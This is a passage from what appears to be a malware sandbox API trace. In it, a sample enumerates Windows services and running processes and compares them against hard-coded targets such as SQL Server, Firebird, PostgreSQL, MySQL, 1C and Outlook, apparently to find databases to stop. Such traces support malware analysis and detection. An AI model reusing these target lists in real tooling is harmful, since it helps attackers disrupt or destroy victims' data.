(lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.423] lstrlenW (lpString="SysMain") returned 7 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.424] lstrlenW (lpString="Themes") returned 6 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0039.424] lstrlenW (lpString="TrkWks") returned 6 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0039.424] lstrlenW (lpString="UxSms") returned 5 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0039.424] lstrlenW (lpString="VSS") returned 3 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0039.424] lstrlenW (lpString="WdiServiceHost") returned 14 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0039.424] lstrlenW (lpString="WdiSystemHost") returned 13 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0039.424] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0039.424] lstrlenW (lpString="Winmgmt") returned 7 [0039.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0039.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0039.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0039.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0039.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0039.424] lstrlenW (lpString="WPDBusEnum") returned 10 [0039.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.425] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0039.425] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0039.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0039.425] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x395d750 | out: hHeap=0x880000) returned 1 [0039.425] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0039.428] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.429] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.429] lstrlenW (lpString="System") returned 6 [0039.429] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0039.429] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0039.429] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.429] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0039.429] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.429] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.429] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.429] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.430] lstrlenW (lpString="smss.exe") returned 8 [0039.430] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.430] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.430] lstrlenW (lpString="csrss.exe") returned 9 [0039.430] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.430] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.430] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.430] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.430] lstrlenW (lpString="wininit.exe") returned 11 [0039.431] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0039.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0039.431] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0039.431] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0039.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0039.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0039.431] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.431] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.431] lstrlenW (lpString="csrss.exe") returned 9 [0039.431] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.431] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.431] lstrlenW (lpString="winlogon.exe") returned 12 [0039.432] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.432] lstrlenW (lpString="services.exe") returned 12 [0039.432] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.432] lstrlenW (lpString="lsass.exe") returned 9 [0039.432] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0039.433] lstrlenW (lpString="lsm.exe") returned 7 [0039.433] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.433] lstrlenW (lpString="svchost.exe") returned 11 [0039.433] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.433] lstrlenW (lpString="svchost.exe") returned 11 [0039.433] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.434] lstrlenW (lpString="svchost.exe") returned 11 [0039.434] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.434] lstrlenW (lpString="svchost.exe") returned 11 [0039.434] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.434] lstrlenW (lpString="svchost.exe") returned 11 [0039.434] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.435] lstrlenW (lpString="audiodg.exe") returned 11 [0039.435] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.435] lstrlenW (lpString="svchost.exe") returned 11 [0039.435] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.436] lstrlenW (lpString="svchost.exe") returned 11 [0039.436] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.436] lstrlenW (lpString="dwm.exe") returned 7 [0039.436] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.436] lstrlenW (lpString="explorer.exe") returned 12 [0039.436] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.437] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.437] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.437] lstrlenW (lpString="taskhost.exe") returned 12 [0039.437] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.437] lstrlenW (lpString="svchost.exe") returned 11 [0039.437] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0039.438] lstrlenW (lpString="taskeng.exe") returned 11 [0039.438] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0039.438] lstrlenW (lpString="judges-present.exe") returned 18 [0039.438] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0039.439] lstrlenW (lpString="physics.exe") returned 11 [0039.439] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0039.439] lstrlenW (lpString="belongs.exe") returned 11 [0039.439] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0039.439] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0039.439] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0039.440] lstrlenW (lpString="gadgets.exe") returned 11 [0039.440] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0039.440] lstrlenW (lpString="geneva.exe") returned 10 [0039.440] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0039.440] lstrlenW (lpString="elephant.exe") returned 12 [0039.440] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0039.441] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0039.441] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0039.441] lstrlenW (lpString="roger-venice.exe") returned 16 [0039.441] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0039.442] lstrlenW (lpString="cite.exe") returned 8 [0039.442] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0039.442] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0039.442] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0039.442] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0039.442] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0039.443] lstrlenW (lpString="artist_selecting.exe") returned 20 [0039.443] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0039.443] lstrlenW (lpString="poems.exe") returned 9 [0039.443] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0039.443] lstrlenW (lpString="bow.exe") returned 7 [0039.443] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0039.444] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0039.444] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0039.444] lstrlenW (lpString="businesses.exe") returned 14 [0039.444] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0039.445] lstrlenW (lpString="lucky.exe") returned 9 [0039.445] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0039.445] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0039.445] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0039.445] lstrlenW (lpString="healthmanner.exe") returned 16 [0039.445] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0039.446] lstrlenW (lpString="3dftp.exe") returned 9 [0039.446] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0039.446] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0039.446] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0039.446] lstrlenW (lpString="alftp.exe") returned 9 [0039.446] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0039.447] lstrlenW (lpString="barca.exe") returned 9 [0039.447] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0039.447] lstrlenW (lpString="bitkinex.exe") returned 12 [0039.447] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0039.448] lstrlenW (lpString="coreftp.exe") returned 11 [0039.448] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, 